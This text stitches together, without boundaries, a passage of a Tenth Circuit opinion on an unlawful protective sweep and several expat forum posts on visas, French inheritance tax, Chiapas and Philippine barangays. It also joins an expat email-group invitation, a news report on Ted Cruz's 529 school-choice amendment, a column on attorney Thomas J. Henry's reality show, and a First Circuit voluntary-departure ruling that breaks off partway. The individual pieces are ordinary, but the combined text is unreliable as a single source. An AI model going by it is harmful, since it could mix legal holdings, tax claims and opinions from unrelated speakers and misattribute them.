The deputy marshals then conducted a protective sweep of the entire house. In the southeast bedroom, deputy marshals found two rounds of ammunition and a substance appearing to be marijuana. These finds led the deputy marshals to obtain a second search warrant. Unlike the first search warrant, the second warrant permitted officers to search the entire house for firearms, ammunition, and controlled substances. Executing the second warrant, deputy marshals found a gun. Mr. Bagley unsuccessfully moved to suppress evidence of the gun.

II. The protective sweep went beyond constitutional limits under our precedents.

To address the ruling on the motion to suppress, we start with the first search warrant. This warrant permitted the officers to search only for Mr. Bagley and to arrest him. Once he surrendered, the officers would ordinarily have lacked any authority to continue searching. See Maryland v. Buie, 494 U.S. 325, 333 (1990). But the government invokes the exception for protective sweeps. See Fishbein v. City of Glenwood Springs, 469 F.3d 957, 961 (10th Cir. 2006) (stating that [t]he protective-sweep doctrine provides an exception to the Fourth Amendment's warrant requirement).

Invoking this exception, the government argues that when the deputy marshals arrested Mr. Bagley, they were permitted to conduct a protective sweep. A protective sweep is not a full search, but rather a quick, cursory inspection of the premises, permitted when police officers reasonably believe, based on specific and articulable facts, that the area to be swept harbors an individual posing danger to those on the arrest scene. United States v. Soria, 959 F.2d 855, 857 (10th Cir. 1992). Even if a protective sweep were permissible, however, the deputy marshals went beyond the limits imposed by our precedents.

A. Maryland v. Buie identifies two situations for a protective sweep.

The seminal precedent is Maryland v. Buie, 494 U.S. 325 (1990). There the Supreme Court allowed protective sweeps in two situations. In the first situation, authorities can look in closets and other spaces immediately adjoining the place of arrest from which an attack could be immediately launched. 494 U.S. at 334. In the second situation, authorities can look elsewhere in the house upon specific, articulable facts supporting a reasonable belief that someone dangerous remains in the house. Id.

B. Our review is de novo.

In determining whether a protective sweep complies with the Fourth Amendment, we engage in de novo review. United States v. Smith, 131 F.3d 1392, 1396 (10th Cir. 1997).

C. The protective sweep went beyond either situation identified in Buie.

The district court held that the protective sweep fit the second situation. The government defends this holding but argues that the protective sweep also fit the first situation. The district court and the government are incorrect.

1. The record does not support affirmance based on Buie's first situation.

The government argues for the first time that the protective sweep fell within the first situation discussed in Buie. Buie's first situation allowed the deputy marshals to look in closets and other spaces immediately adjoining the place of arrest from which an attack could be immediately launched. Maryland v. Buie, 494 U.S. 325, 334 (1990). Though the government did not raise this argument in district court, we can affirm on alternative grounds when the district court record is adequately developed. United States v. Nelson, 868 F.3d 885, 891 (10th Cir. 2017).

The record provides some relevant information but leaves sizeable gaps pertinent to Buie's first situation. We know that the ammunition and suspected marijuana were found in the southeast bedroom and that Mr. Bagley was near the front door when he was handcuffed. And by the time the deputy marshals started the protective sweep, Mr. Bagley had already been handcuffed. Appellant's App'x at 80. But we cannot discern from the record whether Mr. Bagley was inside or outside the house when the protective sweep began. If he was outside the house, Buie's first situation would probably not allow a protective sweep in the southeast bedroom. See United States v. White, 748 F.3d 507, 510 (3d Cir. 2014) (stating that a protective sweep cannot be justified under Buie's first situation when the arrest occurs outside the house).

But Mr. Bagley may have been in the living room when the protective sweep began. If he was, there would have been a wall and hallway between Mr. Bagley and the southeast bedroom. See United States v. Archibald, 589 F.3d 289, 293, 298 (6th Cir. 2009) (holding that for purposes of a protective sweep, the kitchen did not adjoin the living room when the two were separated by a solid bar counter obscuring the view between the two rooms). From the record, we cannot discern the length of the hallway or the distance between Mr. Bagley and the southeast bedroom. Thus, we lack enough information in the record to characterize the southeast bedroom and Mr. Bagley's location as adjacent. See United States v. Burrows, 48 F.3d 1011, 1016 (7th Cir. 1995) (noting that the Buie inquiry is very fact-specific and that one of the guiding considerations is the house's particular configuration).

In light of the deficiencies in the district court record, we cannot affirm the district court's ruling based on the government's newly asserted reliance on Buie's first situation. See United States v. Nelson, 868 F.3d 885, 891 (10th Cir. 2017) (declining to affirm the suppression of evidence, based on Buie's first situation, because the district court had made no findings regarding the proximity of the location of [the defendant's] arrest to the area that [the law enforcement officer] ultimately searched).

The government argues that it doesn't matter where Mr. Bagley was at the time of the protective sweep because he had earlier been arrested in the southeast bedroom. With this focus on the place of the purported earlier arrest, the government argues that the deputy marshals could enter the southeast bedroom because Mr. Bagley had announced his surrender when he was in the southeast bedroom, rendering him under arrest at that time. Based on the alleged location of the arrest as the southeast bedroom, the government argues that the deputy marshals could later enter that room to conduct a protective sweep based on Buie's first situation. We disagree.

The meaning of arrest can vary based on context. For example, when applying the Fourth Amendment to an arrest in a public area, we consider an arrest to take place when the individual submits to authority. See California v. Hodari D., 499 U.S. 621, 626-27 (1991). But in applying the Speedy Trial Act, some courts consider an arrest to take place when the individual has been formally charged with a crime. E.g., United States v. Sayers, 698 F.2d 1128, 1131 (11th Cir. 1983). What about the context of Buie's first situation, when pinpointing the timing of the arrest bears only on whether the searched area adjoins the place of the arrest?

In this context, we consider the purpose of the protective sweep. Under Buie, the officers can conduct a cursory inspection of the area adjoining the place of arrest to prevent a danger to those at the scene. See United States v. Maddox, 388 F.3d 1356, 1363 (10th Cir. 2004) ([W]e conclude that it is proper to consider the reasonable threats posed to the officers when drawing the boundaries of the arrest scene in an individual case.). Here, a prudent officer would have been conducting the protective sweep when Mr. Bagley was already handcuffed.

Rather than allege a potential danger, the government defends inspection of the southeast bedroom on the ground that the arrest had taken place there. For this argument, the government reasons that Mr. Bagley submitted to authorities when he announced from the southeast bedroom that he would surrender. But at that point, Mr. Bagley was unrestrained, free to renege on his promise to surrender. That freedom ended only when he was handcuffed near the front door. Therefore, in the context of Buie's first situation, the place of arrest was near the front door rather than in the southeast bedroom.

But let's assume for the sake of argument that Mr. Bagley was technically under arrest while still in the southeast bedroom (when he told the officers that he would come out and surrender). According to the government, the protective sweep could encompass the southeast bedroom because Mr. Bagley had been arrested there. But he was not handcuffed until after he had left the bedroom.

The deputy marshals could conduct a protective sweep only if the protective sweep was justified at the time of the arrest; the deputy marshals could not conduct the arrest and later conduct a protective sweep based on an earlier arrest somewhere in the house. See Vale v. Louisiana, 399 U.S. 30, 33 (1970) (A search may be incident to an arrest only if it is substantially contemporaneous with the arrest and is confined to the immediate vicinity of the arrest.  (quoting Shipley v. California, 395 U.S. 818, 819 (1969))). In these circumstances, we conclude that the protective sweep did not fall within the first situation identified in Buie.

2. The protective sweep did not fit Buie's second situation.

The district court concluded that the protective sweep fit Buie's second situation. We disagree.

In the second situation for a protective sweep, officers can search beyond adjacent areas upon  specific and articulable facts'  supporting an objective belief that someone dangerous remains in the house. Maryland v. Buie, 494 U.S. 325, 332-34 (1990) (quoting Terry v. Ohio, 392 U.S. 1, 21 (1968)). The government concedes that its reliance on Buie's second situation is no longer tenable under United States v. Nelson, 868 F.3d 885 (10th Cir. 2017). We agree.

When the deputy marshals entered the southeast bedroom, Mr. Bagley, his girlfriend, and her children had already left the house. The deputy marshals had no way of knowing, one way or another, whether anyone besides Mr. Bagley was still in the house. This uncertainty, according to the government, would have concerned the officers because they might have been subjected to an attack if someone else had remained inside.

We recently rejected an identical argument in Nelson. There too the government relied on the officers' inability to know whether someone else was inside. 868 F.3d at 889. But we held that lack of knowledge cannot constitute the specific, articulable facts required by Buie. Id. For this holding, we reasoned that if officers lack any information about whether someone remains inside a house, they do not have the specific, articulable facts required for a protective sweep beyond the adjacent areas. Id.; see also United States v. Carter, 360 F.3d 1235, 1242-43 (10th Cir. 2004) (stating that a protective sweep cannot be based on the possibility that a dangerous person could be concealed without specific, articulable facts that someone was concealed). This lack of specific, articulable facts required invalidation of the search in Nelson, and the same is true here.

III. The improper protective sweep indirectly led to discovery of the gun, requiring suppression.

The protective sweep provided only an indirect connection to evidence of the gun. When the officers conducted the protective sweep, they found only ammunition and a substance appearing to be marijuana. Relying solely on the discovery of these items, one of the deputy marshals (Deputy Matt Cahill) obtained a search warrant. Executing that warrant, the deputy marshals found the gun.

Ordinarily, the Fourth Amendment would require the district court to exclude the gun from evidence because its discovery resulted indirectly from the improper protective sweep. See Wong Sun v. United States, 371 U.S. 471, 484-85 (1963). But an exception exists, which we call the good-faith exception. See United States v. Leon, 468 U.S. 897, 922-23 (1984). Under this exception, evidence is not suppressed when officers act in good faith, reasonably relying on a mistake by a third party, usually a neutral, detached judge who issues a warrant. Id. But the good-faith exception does not apply when officers rely on their own prior conduct. See United States v. Herrera, 444 F.3d 1238, 1249 (10th Cir. 2006) (stating that the good-faith exception ordinarily applies only when an officer reasonably relies on a mistake made by someone else).

The district court did not address the applicability of this exception; as a result, we address the exception in the first instance. Doing so, we conclude that the exception does not apply because the second search warrant was based solely on what the deputy marshals had found in the improper protective sweep. Presumably for this reason, the government does not suggest that the deputy marshals relied on a judge's mistake. See United States v. Nelson, 868 F.3d 885, 892 (10th Cir. 2017) (holding that the good-faith exception did not apply because the officers were relying only on what they had found in their own improper protective sweep).

Deputy Cahill obtained the second search warrant by telling the judge that the deputy marshals had found ammunition and suspected marijuana in a protective sweep. Nothing was said about where Mr. Bagley was at the time of arrest or where the ammunition and suspected marijuana had been found. As a result, the deputy marshals admittedly did not rely on the imprimatur of the warrant. They relied on information known only to themselves about the scope of the protective sweep and the underlying factual circumstances. The deputy marshals' reliance on their own conduct prevents us from applying the good-faith exception. See United States v. Herrera, 444 F.3d 1238, 1249-52 (10th Cir. 2006) (stating that the good-faith exception applies only where someone other than a police officer has made the mistaken determination that resulted in the Fourth Amendment violation).

Finally, the government argues that the good-faith exception applies when the officers' conduct is close to the line of validity. We rejected an identical argument in United States v. Nelson, 868 F.3d 885, 892 (10th Cir. 2017). There the lack of reliance on a third party prevented application of the good-faith exception even if the officers' conduct had been close to the line of validity. 868 F.3d at 892.

The same is true here: The good-faith exception requires reliance on a third party's mistake; in the absence of such reliance, the district court must suppress the unlawfully obtained evidence when its introduction would be unconstitutional even if the issue is close.

IV. Conclusion

The district court erred in denying Mr. Bagley's motion to suppress because the deputy marshals exceeded Buie's two situations for a protective sweep. Because the protective sweep was improper, the deputy marshals could not use the ammunition or suspected marijuana to justify the second search warrant. Executing the second search warrant, the deputy marshals found a gun, which should have been suppressed in district court. Thus, we reverse and remand with instructions to grant Mr. Bagley's motion to suppress evidence of the gun.

FOOTNOTES

. They also found a digital scale, more suspected marijuana, and more ammunition.

BACHARACH, Circuit Judge.
Hi folks



I just imported my application via immi account ( I created with my own email). I want to know whether there will be any issue for my migration agent.



Thank you so much everyone. I'm really confused about that.
Hello, I need some help. I created my Immi account and launched a new application for my health declaration and received a HAP ID. I completed my medical verifications using the same HAP ID last week. But unfortunately, the application in Immi account is now deleted. Will be there be any problem with the further visa process? Will my health assessment from the medical center be uploaded to Immi account without the application? Please suggest me whom to approach. Thank you for your time.
Be cautious of what agencies tell you. Most of them are irresponsible, bordering on the dishonest, and their only intent is to part you from your money. Go to the CIC website and determine if you qualify to immigrate into Canada. If you qualify then you should be able to complete your own application and save yourself much money in the process.
Hello all,Unfortunately another tax question, and for this one I have actually spoken to the Fisc several times on the phone, made efforts to get a private meeting with them and unfortunately I can't seem to get a straight answer. I thought someone on this forum might have experience on this issue and thought it was worth a try asking. Apologies if this belongs better tagged along to the end of a previous post I made, but I thought this was sufficiently different to create a new post.First let me outline the situation.1. I am tax resident in France, but for less than 6 years of the past 10 years (this part is important)2. My parents are tax resident outside of France3. Everything they might one day like to will to me is outside of France.The French tax laws are quite clear on this that under these current conditions, any of the money and goods willed to me do NOT fall under French territoriality and hence are not taxable by the French Government. For anyone interested, this is one of about 10 sources I have found giving these pretty clear instructions, look at page 8 if that kind of thing interests you:It is also quite clear that once I remain here for more than 6 years, the situation changes and even goods outside of France willed to me by my parents are taxable at that point. This part is clear and simple to understand.What is not clear and simple is that when filling out form 2705 (Declaration de Succession) one has to fill out a section on all gifts/donations from the same benefactor that have been made in the past 15 years. When I called the fisc and asked whether that meant I only had to declare the gifts/donations from the benefactor during that last 15 years that "fell under French territoriality, and I could exclude gifts/donations that were not imposable/taxable in France", I was told, that I had to declare all gifts over the last 15 years, no matter what territoriality, no matter what my tax residence at that time. This was a huge surprise, as I didn't think it was even legal for governments to take into account things that happened before you became tax resident in their country. To make sure I did not misunderstand the situation, I asked a hypothetical question:Me: So if my mother gave me $10,000, 12 years ago, which was 10 years before I even came to France, this must still be declared and then gets added on to the totally estate which I am taxed on, even though at the time, the cash, my mother, and I, all had nothing to do with France.Fisc: Yes, that is correct.Me (still hypothetically): But what if at the time I kept no record of it, because my country does not tax gifts or inheritance.Fisc: You must ring your bank and get the records.Me: But the banks in that country only keep records for 6 years (which is actually true, I found that out last year when I tried to get records further back then that).Etc.After that incredibly long winded introduction, I guess my question is this: "Has anyone actually declared a succession, and did you list all previous gifts/donations going back 15 years, even if you weren't resident in France at the time?"It just doesn't make a whole bunch of sense to me that the laws state clearly that if my parents give me a gift right now it is not taxable, or if they gave me a gift 10 years ago it is not taxable, but then in the future it appears to be quite taxable indeed, as it gets added onto my parents estate value that gets willed to me.Anyone that has any experience with this and could shed some light on the matter would be much appreciated, as what the Fisc tell me seems to even contradict things Ernst and Young say in: 3. http://www.ey.com/Publication/vwLUAssets/ey-worldwide-estate-and-inheritance-tax-guide-june-2016/$FILE/ey-worldwide-estate-and-inheritance-tax-guide-june-2016.pdfThanks again all.
It may an over written and research subject but if you are up to it you will find plenty of people who have researched the subject, done documentaries etc..



Chiapas is a hot bed of would be foreign and Mexican would be revolutionaries so you will have lots of company.



I think more interesting would be the effect that the new bounderies of 73 had and still have on all the indigenous municipalities.. But that iis a pretty hot subject now with lots of conflicts.



Chiapas is not dangerous per say but you have to respect the customs, mind your own business and not get involved by one side or another. The danger in Chiapas is more being at the right place at the wrong time . There are lots of conflicts all over the place so it is a good idea to have friends in the communities who will warn you when it is not safe. As a rule it is safe expecially if you are low key do not drive an expensive car and do not flash money.



Some municipalities are friendlier than others and some villagers can be pretty close minded and not interested in strangers. Actually most villagers are very suspicious of strangers but there are lots of NGO with Mexicans and foreigners out to help, lots of study groups of all types, lots of anthropologist types and others and everyone is fine..



Yes there are lots of foreigners in the highlands, many young ones especially Europeans and Latin Americans, most of them speak Spanish. The atmosphere amongst them is on the hippish side.

Many people come and go, lots of turn over.



I am not familiar with the universities but there seem to be lots of them between Tuxtla and San Cristobal.

CELALI is part of CONECULTA and still teaches Mayan languages.. I can look up th ename of a man I met recently at one of the State Competition. He was on the jury.. He was involved with CELALI or may nave been the director, I do not remember . He is indigenous and knows a lot about what is going on in the communities so probably could be of some help.



I also know one of the head guys of the Zapatistas in Aldama, someone told me he was the governor nit I do not know if that is correct. I deal with his wife and son and I am suppose to meet him again in February.. I am trying to get them to get out of Aldama to seel some of their artesania but so far the guys I know have refused.. I spoke with him a month ago and likes the idea so we have to meet with whomever and talk about it.



Foreigners do not seem to complicae matters but then I do not deal with any and do not know many so I am not in a good spot to talk about that. I have lived there 6 to 8 month of the year , mostly visiting indigenous communities , I have many Tzotztil and Tzeltal friends and a few Lacandones and I think that over the last 10 years Imet a handful of foreigners. The last one was a French guy involved in some agricultural project in the Pantelho area.



Some of the roads are not very safe as there are assailts.. On the way to Simojovel and around Simojovel, between Palenque and San Cristobal.. around la Selva Negra between Jitotal and Tabasco and a few other a little out of the way area..

I have been told not to go to some other areas but I think that there is a lot of feuds and envy between communities and there is a tendency to blame the neighbors for all the bad stuff..usually if you go there during the day and get to know people in a town most places are fine. At first you are invisible, then peope are curious about what you do and if what you do seems legit to them you are ok it is fine... if you are with a mining company or friend s with a feuding village you better leave town.. The Zapatista villages are even more so but once you are introduce by the jeffes you are ok.. as a rule they do not like people wondering around their area unless they know what you are up to. Oventik is their headquaters or one of them and you need a permit to go there.. I have never been there but went by many times by the entrance, it is btween San Andres and San Cayetano.



The Human Rights people maybe able to help you too.. You will find plenty of sources on the subject no doubt.



There is a very large amount of zapatista villages in the Las Margaritas and Ocosingo municipalities . These municipalities are huge and go from the Highlands to the jungle.



Have fun exploring Chiapas, it is a beautiful place.
If you have threats to your life the Barangay is a good spot to get help with this, they will have someone camp outside your home and watch the house and treat them well they get paid very poorly, or another issue would be someone owe's you money they could be useful in getting this back.



With all that said above, to rely on the Barangay for much more such as this issue wouldn't be smart and bottom line is these are your neighbors or if in-laws they probably have family that work in the barangay and also have many barangay drinking buddies plus to bring in the barangay into your home and get into your personal life I feel would be like letting in some unsavory characters... I'll leave it at that, and don't forget the neighbors won't forgive and don't forget but smile real nice for you and will probably like to get back at you when the timing is right, so if possible put up with their issue's of dog barking, loud noise, Karaoke as best you can, sometimes I just get up and leave the home, my wife has friends in other area's and we will leave or leave for the day and go shopping and out to restaurant, if low on money I'll go for an extended bike ride with my kids.
A Thoughtful Email Among Expats in Thailand



I'd like to find a few friends around here for intellectual conversation.





I keep hearing that from some expats.*



Me, too.



So I'm posting this to see what might be done.





The conversation I have in mind is a small and private email group discussing expat life here.



The purpose is to increase our understanding of how things work in Thailand.



(Not open to the public like a web forum or Facebook or Twitter.)





If you are interested, send an email to me, and we shall see where this leads.





List(at)expats.postpro(dot)net



Your questions and suggestions are welcome.





-- 10-Year Expat





.
WASHINGTON  With the Republican-led Congress ambling toward final passage this week of major tax reform decried by Democrats, U.S. Sen. Ted Cruz of Texas already has begun campaigning on a school choice provision giving tax breaks to families that home-school or send their children to private or religious schools.

In recent weeks since the Texas Republican narrowly secured his Student Opportunity Amendment in the GOP tax bill  with an assist from Vice President Mike Pence, who cast the tie-breaking vote  Cruzs 2018 Senate campaign has been heralding the measure to a key Texas constituency: religious conservatives.

In a campaign-style video and a series of email testimonials, Cruz and his backers have described the amendment as a turning point in the conservative struggle to allow public funds to open the doors of private schools.

In an email to supporters last week  the latest of at least four this month  the Cruz campaign highlighted a recent opinion piece by Drew White, a senior policy analyst for the conservative Texas Public Policy Foundation, calling the amendment a game-changer.

The amendment would allow $10,000 per child to be taken from tax-privileged 529 savings plans each year. In a significant policy win for Cruz as he heads into an election year, it was included in Fridays joint House-Senate conference bill, now headed for final passage this week.

According to Congress Joint Committee on Taxation, it would cost the Treasury about $500 million over 10 years, representing a major win for conservative advocates of school choice, which Cruz has called the civil rights issue of our time.

In Texas, Republicans long have tried but failed to pass legislation to provide vouchers to parents for private school tuition. The state Senate approved the latest plan this year, but the bill was killed in the House.

Many Democrats and some Republicans have opposed the federal tax benefit as a sop to affluent families that can afford to send their children to private schools. But the issue has received far less debate than the partisan battle over the GOPs $1.5 trillion tax cut package, which affects almost all U.S. households, though it confers most of its direct benefits on corporations and the well-to-do.

While the amendment has attracted little notice outside of conservative media, it has been a top agenda item for Christian conservatives and others in the movement to boost charter and private schools as an alternative to public education.

Such an idea has been a long time in the making and a cornerstone of the conservative education policy vision, White said.

Among those backing the change is President Donald Trumps education secretary, Betsy DeVos, who called the amendment a step forward in the push to provide tax savings to families that put their children in private or religious schools.

The amendment would expand popular 529 college savings plans to include K-12 elementary and secondary tuition, including educational expenses for home-schooled children. Much like Roth IRAs, the 529 plans use after-tax contributions to accumulate and grow tax-free.

Currently, more than three-quarters of families using 529 savings plans make less than $150,000, which Cruz points to in describing the benefit as a boon for the middle class.

Expanding 529s ensures that each child receives an education that meets their individual needs, instead of being forced into a one-size-fits-all approach to education, or limited to their ZIP code, Cruz said in a floor speech introducing the measure.

Opponents say it would do little for low-income families with little in savings or practical choice about where their children go to school. Sen. Ron Wyden, D-Ore., argued against Cruzs provision, saying it amounts to a subsidy for upper-income households at the expense of public schools.

This is nothing less than a backdoor assault on the public K-12 education system, Wyden said during a Senate debate on the amendment. The real goal seems to be to take more and more children from the public schools and put them into private schools and shrink the funds that would be available to the public schools that give all of Americas children the chance to get ahead.

The vote to include the amendment on the Senate floor this month divided the Senate 50-50, with Republicans Lisa Murkowski of Alaska and Susan Collins of Maine joining all Democrats in opposition. In one of the more dramatic moments of the months-long tax debate, the tie forced Pence to rush into the chamber to cast the deciding vote in a late-night session to finalize the Senate version of the GOP tax bill.

Cruzs amendment would prove to be the only one outside of the GOP leadership to be added on the Senate floor.

The House version of the legislation contained a stronger measure that was left out of the final Senate-House agreement. It would have permitted parents to open 529 accounts for unborn children. Abortion rights advocates such as Planned Parenthood balked on the grounds that it could become a way of restricting abortion through the tax code.

Even in its milder Senate form, conservatives have rallied around the amendment, which is now part of a sweeping rewrite of the U.S. tax code, the first in more than 30 years. Cruz backers argue that it provides a measure of fairness to families that take their children out of public school systems theyre forced to support through their property taxes.

The Cruz campaign recently distributed an opinion piece by influential conservative commentator Erick Erickson, who praised Cruz for angering liberals.

It is actually really funny to see a bunch of liberals who think the GOP is hurting poor people with tax reform spitting mad this morning now that they realize what Sen. Ted Cruz has done, Erickson wrote. Yes, the left is mad that Ted Cruz got a pro-family initiative put into tax reform.

But while conservatives have cast it as an issue of family values and universal choice, opponents of the amendment say it would deepen class inequality in education.

The Not One Penny campaign, which has fought the entire GOP tax bill, cited a recent paper by Harvard Universitys Richard Murnane and Stanford Universitys Sean Reardon showing that enrollment in private schools has remained stable for the past half-century while middle-class students increasingly rely on public schools.

The study also found that between 1972 and 2010, wealthier parents spent increasingly on the education of children under 6. The gap between their spending and those of poorer families has increased fourfold since 1972 and has appeared to widen since 2010.
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For those who think the holidays are all about displaying wealth in the most ostentatious manner imaginable, YouTube has a riveting new reality show featuring San Antonios most famous self-promoter, personal injury attorney Thomas J. Henry.

For everyone else, I watched the first two episodes of Hangin with Los Henrys so you wont have to.

First, lets dispense with the fiction that anything is real about reality television. The subgenre is more scripted than a staging of Henry IV, and Henrys YouTube venture  self-funded, apparently  is no exception.

The characters here, constituting the lawyers nuclear family, are worthy of a Shakespearian tragedy, just minus the, you know, timeless poetry.

Theres Azteca, or La Reyna, the glamorously frazzled wife and mother who singlehandedly holds the whole clan together with just spit and designer handbags. When Henry himself proves too busy working to help plan a $4 million bash for their sons 18th birthday, the task falls to her.

I want to have girls hanging from the ceiling, Azteca instructs a party planner, adding that a Maxim girl or a Playboy girl must jump out of her sons birthday cake.

Little Thomas is the villain of this production. Hanging around the palatial Henry manse, he does nothing to help plan his own party but fly to Mexico with a posse of friends on his fathers private jet for ideas and inspiration, only to drink to excess in a club all night.

I love Mexican culture, he quips to the camera.

(Other comments from Henrys son: I hate flowers, and Im not going to dance with my mom. For this, he is rewarded with a $250,000 Ferrari  a luxury vehicle worth more than five times the average San Antonio salary.)

Little Thomas is guided primarily by the conviction that his party not resemble the $6 million quinceanera thrown last year for his little sister, Maya, who dutifully offers to help her mother plan the familys latest extravagantly wasteful undertaking.

Its gonna be like a modern Great Gatsby-type party  girls in cages, girls painted in gold, the teenage girl tells the camera. Thomas says he wants his party to be ratch  guns, cars, rappers, champagne showers, money shooters.

Meanwhile, the Great Henry is shown working so diligently toward trial that he cannot be bothered to do much of anything but expect to be waited upon hand and foot.

Do I just serve myself? Henry asks at supper time.

About that upcoming trial: It was apparently as real as anything else on reality TV.

To drive home the point that San Antonios super attorney was too consumed by work to help plan his sons bash, Henry is shown addressing reporters outside the Bexar County courthouse.

Big Tom is in trial and hasnt helped at all, Azteca says.

Big Tom might as well have been handpicking Playboy bunnies with his teenage daughter.

In 2015, I wrote about one of his billboards, an advertisement trumpeting that Newsweek.com had named Henry One of the Top 10 Injury Attorneys in the Nation. Eventually, Henry acknowledged to me that hed paid Newsweek thousands of dollars for the honor. (Henry did not return a call Monday.)

The previous year  around the time Henry moved his family here from Corpus Christi  the lawyer made a splash by dumping more than $1.2 million into Nico LaHoods successful campaign for Bexar County district attorney.

At the time, many people, myself included, wrung their hands in wonder at what the injury attorney wanted. Referrals from the new DA? Something else?

At this point, Occams razor should suffice: Henry spends huge amounts of money because he wants everybody to know that he can spend huge amounts of money.

In this way, at least, Hangin with Los Henrys is a faithful depiction of reality.

Brian Chasnoff is a San Antonio Express-News columnist. Read more of his stories here. | bchasnoff@express-news.net | @bchasnoff
United States Court of Appeals, First Circuit. MELVI AYDE DE LA CRUZ-ORELLANA; ALFREDO FLORES, Petitioners, v. JEFFERSON B. SESSIONS, III, United States Attorney General, Respondent. No. 16-2106 Decided: December 18, 2017

Before Barron, Selya, and Lipez, Circuit Judges. Stephen M. Born on brief for petitioners. Carmel A. Morgan, Trial Attorney, Office of Immigration Litigation, Chad A. Readler, Principal Deputy Assistant Attorney General, and Shelley R. Goad, Assistant Director, Office of Immigration Litigation, on brief for respondent.

Petitioners Melvi Ayde de la Cruz-Orellana and Alfredo Flores are a wife and husband who seek review of a decision denying their applications for voluntary departure to Guatemala and Mexico, respectively. An Immigration Judge (IJ) denied petitioners' applications on discretionary grounds, and the Board of Immigration Appeals (BIA) affirmed the IJ's decision. Petitioners timely sought review in this court. We now dismiss for want of jurisdiction.

I.

Alfredo Flores entered the United States without proper entry documentation in 1986, and Melvi Ayde de la Cruz-Orellana did the same three years later. The two met in California, and they were married in approximately 1994. At the time of these immigration proceedings, they resided in Providence, Rhode Island, with their son, Jonathan Flores.

Appearing at a removal hearing in March 2009, the couple submitted written petitions to the IJ requesting cancellation of their removal and, alternatively, voluntary departure. To be statutorily eligible for cancellation of removal, petitioners had to show (amongst other factors) that they had been person[s] of good moral character for at least ten years, and that their removal would result in exceptional and extremely unusual hardship to their United States-citizen child. 8 U.S.C.  1229b(b)(1). They similarly had to show -- again, amongst other factors -- that they had been persons of good moral character for at least five years to be statutorily eligible for voluntary departure. 8 U.S.C.  1229c(b)(1). Statutory eligibility, however, does not guarantee success. The IJ could deny petitioners' requests for cancellation of removal and voluntary departure as a matter of discretion. See 8 U.S.C.  1229b(b)(1), 1229c(b)(1) (stating that the Attorney General may cancel an immigrant's removal and may permit him to depart voluntarily).

In an oral decision in November 2014, the IJ rejected petitioners' requests for both forms of relief. First, he found that Cruz-Orellana had given false testimony for the purpose of obtaining immigration benefits, and was therefore not a person of good moral character for cancellation of removal purposes. 8 U.S.C.  1101(f)(6). Specifically, Cruz-Orellana completed an application for asylum in 1993, representing that she had been tortured by guerrillas in Guatemala, and was married to a guerrilla commandant known as El Gallo Giro. She reaffirmed the accuracy of her application when she appeared before an asylum officer in August 2007. However, in a hearing before the IJ, Cruz-Orellana admitted that the information in her asylum application was false.

In denying cancellation of removal to Cruz-Orellana, the IJ found that she could not benefit from the recantation doctrine. That doctrine provides that false testimony will not prevent an immigrant from establishing her good moral character when she timely recants the false testimony. See Matter of Namio, 14 I. & N. Dec. 412, 414 (BIA 1973); Matter of M-, 9 I. & N. Dec. 118, 119 (BIA 1960). According to the IJ, Cruz-Orellana did not recant her false testimony in a timely manner. The IJ then offered another reason to reject Cruz-Orellana's request for cancellation of removal, which also applied to Flores's request for the same. The couple could not show that their son would incur exceptional and extremely unusual hardship upon their removal, a prerequisite to obtaining relief. 8 U.S.C.  1229b(b)(1)(D).

Turning to Cruz-Orellana's request for voluntary departure, the IJ began by incorporating his prior discussion regarding her false oral testimony before the Asylum Officer. He considered the false testimony a significant factor that reflects upon her bad character. The IJ then weighed Cruz-Orellana's false testimony against certain positive factors and declined to grant her voluntary departure as a matter of discretion. Lastly, the IJ also denied voluntary departure to Flores as a matter of discretion. In doing so, the IJ relied in part upon a police report from a 2000 domestic violence incident involving Flores and Cruz-Orellana.

Petitioners appealed the IJ's decision to the BIA. The BIA first noted that petitioners' son, Jonathan, had turned 21 during the pendency of their appeal, leaving them unable to show that their removal would result in exceptional and extremely unusual hardship to their child. 8 U.S.C.  1101(b)(1) (defining child as, in relevant part, an unmarried person under twenty-one years of age). It then upheld the IJ's discretionary decisions to deny petitioners' requests for voluntary departure.

In their petition for review to this court, petitioners concede that their son's age makes them ineligible for cancellation of removal. They maintain, however, that the IJ erred in denying their requests for voluntary departure. Cruz-Orellana argues that the recantation doctrine should have prevented the IJ from considering her false testimony in denying her voluntary departure as a matter of discretion. Flores asserts that the IJ's reliance on the 2000 domestic violence police report violates due process because it contains hearsay. We do not reach the merits of these contentions, however, because we lack jurisdiction to do so.

II.

Our jurisdiction to review decisions denying immigrants the privilege of voluntary departure is narrowly circumscribed. See Arias-Minaya v. Holder, 779 F.3d 49, 52 (1st Cir. 2015). Indeed, we are statutorily prohibited from reviewing the denial of a request for an order of voluntary departure, 8 U.S.C.  1229c(f); see also 8 U.S.C.  1252(a)(2)(B)(i), unless the petition for review involves constitutional claims or questions of law, 8 U.S.C.  1252(a)(2)(D). A bare allegation of either a constitutional shortfall or legal error is not sufficient. Ayeni v. Holder, 617 F.3d 67, 71 (1st Cir. 2010). To confer jurisdiction, the claim of constitutional or legal error must at least be colorable. Id.; see also Arias-Minaya, 779 F.3d at 52 (Whether a claim fits within the confines of one of these exceptions depends on substance, not on form.). This jurisdictional limitation is fatal to petitioners' claims.

A. Petitioner Cruz-Orellana

Cruz-Orellana's reliance on the recantation doctrine misapprehends the relevance of that doctrine to the IJ's discretionary determination to deny her the benefit of voluntary departure. Specifically, she fails to appreciate the distinction between an IJ's finding of statutory ineligibility, and an IJ's decision to deny relief as a matter of discretion.

An IJ may deny an immigrant's request for voluntary departure by finding that the immigrant is statutorily ineligible for that relief. As discussed supra, an immigrant who has given false testimony for the purpose of obtaining immigration benefits is statutorily ineligible for voluntary departure, unless she had timely recanted her testimony. See 8 U.S.C.  1101(f)(6), 1229c(b)(1)(B); Matter of Namio, 14 I. & N. Dec. at 413-14. If the immigrant timely recanted her false testimony, the recantation doctrine prevents the IJ from finding her statutorily ineligible based on the testimony.

However, even if the IJ determines that the immigrant is statutorily eligible for voluntary departure -- or assumes that she is eligible -- the IJ can weigh the equities and deny relief as a matter of discretion. See 8 U.S.C.  1229c(b)(1) (stating that the Attorney General may permit an immigrant to depart voluntarily); Arias-Minaya, 779 F.3d at 51-52. Indeed, this was the approach taken by the IJ here. He denied voluntary departure to Cruz-Orellana under his discretionary authority, not based on her statutory ineligibility for the relief.

